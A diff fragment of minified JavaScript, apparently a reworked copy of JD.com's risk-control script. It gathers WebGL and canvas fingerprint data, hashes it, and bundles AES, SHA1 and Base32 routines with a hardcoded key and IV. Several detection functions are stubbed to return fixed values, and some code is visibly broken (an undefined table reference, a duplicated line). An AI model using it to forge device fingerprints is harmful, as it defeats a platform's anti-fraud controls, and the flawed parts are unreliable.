b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < 